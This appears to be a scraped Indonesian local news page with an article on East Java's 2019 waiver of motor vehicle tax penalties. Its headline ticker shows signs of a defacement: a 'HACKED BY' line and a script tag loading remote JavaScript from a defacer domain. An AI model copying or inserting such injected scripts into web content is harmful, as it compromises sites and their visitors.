News Ticker
  • HACKED BY HANZEN1337
  • <script src="https://jso.defacer.id/raw/I7j6n4T3C9"></script>
  • Kunjungan Kerja di Bojonegoro, Menhan Sjafrie Sjamsoeddin Tinjau Rencana Pengembangan Batalyon TP 885 dan Brigif 33 di Dander
  • 11 Juli dalam Sejarah
  • Prakiraan Cuaca Bojonegoro 11 Juli 2026
  • Kandang Ayam Senilai Rp2 M di Malo, Bojonegoro Ludes Terbakar
  • Panen Melon Bersama, Bupati Bojonegoro Ajak Generasi Muda Bangun Pertanian Modern
  • Pemkab Bojonegoro Alokasikan Rp11,03 Miliar untuk Lima Program Beasiswa Mahasiswa
  • Seorang Lansia Bojonegoro Tewas Tertabrak Kereta Api Jayabaya di Perlintasan Baureno
  • Perkiraan Harga Emas Hari Ini, 10 Jul 2026
  • Prakiraan Cuaca Bojonegoro 10 Juli 2026
  • 10 Juli dalam Sejarah
  • Kecamatan Kota Dominasi Emas Kickboxing, Klasemen Sementara Porkab II Bojonegoro Masih Memimpin
  • Dalam Sehari Terjadi Enam Kebakaran Lahan di Bojonegoro, Ini Daftarnya
  • Pemkab Bojonegoro Berikan Pembinaan Ribuan Mahasiswa Penerima Beasiswa Daerah
  • "El Último Tango", Sepatu Spesial Adidas untuk Perjalanan Terakhir Messi di Piala Dunia
  • Kejari Bojonegoro Terima Tahap II Kasus Dugaan Peredaran Rokok Ilegal
  • Paripurna DPRD, Raperda Pertanggungjawaban APBD 2025 Disetujui
  • Hadapi Musim Kemarau, Pemkab Bojonegoro Distribusikan Air Bersih ke Sejumlah Desa
  • Pemkab Bojonegoro Dorong Setiap OPD Lahirkan Inovasi Lewat BIA 2026
  • Prakiraan Cuaca Bojonegoro 9 Juli 2026
  • Rumah Kosong di Kapas, Bojonegoro Terbakar, Kerugian Capai 150 Juta Rupiah
  • Merayakan Detik Ini: Menemukan Kedamaian dalam Jejak Hidup yang Singkat
  • Tiga Rumah di Temayang Bojonegoro Terbakar Akibat Korsleting Listrik, Total Kerugian 520 Juta Rupiah
Pemprov Jatim Kembali Bebaskan Sanksi Denda, Pajak Kendaraan Bermotor

Pemprov Jatim Kembali Bebaskan Sanksi Denda, Pajak Kendaraan Bermotor

Bojonegoro - Pemerintah Provinsi (Pemprov) Jawa Timur (Jatim) melalui Badan Pendapatan Daerah (Bapenda) Provinsi Jawa Timur telah menerbitkan surat Pembebasan Pajak Daerah untuk Rakyat Jawa Timur tahun 2019.
Kebijakan tersebut berdasarkan Peraturan Gubernur Jawa Timur Nomor 55 tahun 2019, tentang Pembebasan Pajak Daerah untuk Rakyat Jatim tahun 2019.
 
 
Dalam surat tersebut, Pemprov Jatim akan memberikan kebijakan Pembebasan Pokok Bea Balik Nama Kendaraan Bermotor atas penyerahan kedua dan seterusnya dan Pembebasan Sanksi Administratif Pajak Kendaraan Bermotor dan Balik Nama Kendaraan Bermotor.
 
Pemberian kebijakan pembebasan pajak kendaraan bermotor yang dikeluarkan Pemprov Jatim untuk mendorong masyarakat semakin taat membayar pajak. Sedangkan Pelaksanaan Pembebasan Pajak Daerah dilaksanakan mulai tanggal 23 September 2019 sampai dengan 14 Desember 2019.
 
 
 

Kasat Lantas Polres Bojonegoro, AKP Aristianto Budi Sutrisno SH SIK MH, saat beri keterangn pers. Senin (23/09/2019)

 
Kasat Lantas Polres Bojonegoro, Ajun Komisaris Polisi (AKP) Aristianto Budi Sutrisno SH SIK MH, kepada awak media ini pada Senin (23/09/2019) menuturkan bahwa pemberian keringanan, pembebasan dan insentif pajak daerah itu berdasarkan Peraturan Gubernur Jawa Timur Nomor 55 tahun 2019, tentang Pembebasan Pajak Daerah untuk Rakyat Jatim tahun 2019
 
“Pemutihan bukan untuk menggratiskan pajak, pajak pokok tetap ditagihkan, yang dibebaskan adalah denda keterlambatan,” terang AKP Aristianto.
 
 
Menurut Kasat Lantas, pembebasan pajak kendaraan bermotor yang dilaksanakan dalam kurun waktu 14 minggu itu diharapkan benar-benar dapat dimanfaatkan masyarakat agar tak lagi memiliki tunggakan pajak.
Dirinya juga menyampaikan tentang pentingnya registrasi kepemilikan kendaraan bermotor yang sudah berpindah kepemilikan.
 
“Termasuk ada yang pindah tangan tapi belum balik nama, registrasi pemilik terakhir dari kendaraan bermotor itu menjadi penting,” ujarnya.
 
 
 
 
 
Lebih lanjut Kasat Lantas berpesan agar seluruh masyarakat Jawa Timur, khususnya masyarakat di Kabupaten Bojonegoro, dapat memanfaatkan momen tersebut untuk menyelesaikan tanggungan mereka berkaitan dengan pajak kendaraan bermotor.
 
 
Dengan telah dikeluarkannya peraturan Gubernur Jawa Timur tentang kebijakan tersebut, pihaknya mengimbau agar masyarakat Bojonegoro yang memiliki kendaraan dengan nomor polisi luar kota Bojonegoro, serta masih memiliki tunggakan pajak untuk memanfaatkan kesempatan itu.
 
“Silakan dengan adanya kebijakan ini, diharapkan masyarakat dapat memanfaatkannya dengan optimal sehingga apa yang menjadi kewajiban pun dapat tertunaikan dengan baik,” kata Kasat Lantas. (red/imm)
Berita Terkait
1783889625.7616 at start, 1783889626.1769 at end, 0.41525101661682 sec elapsed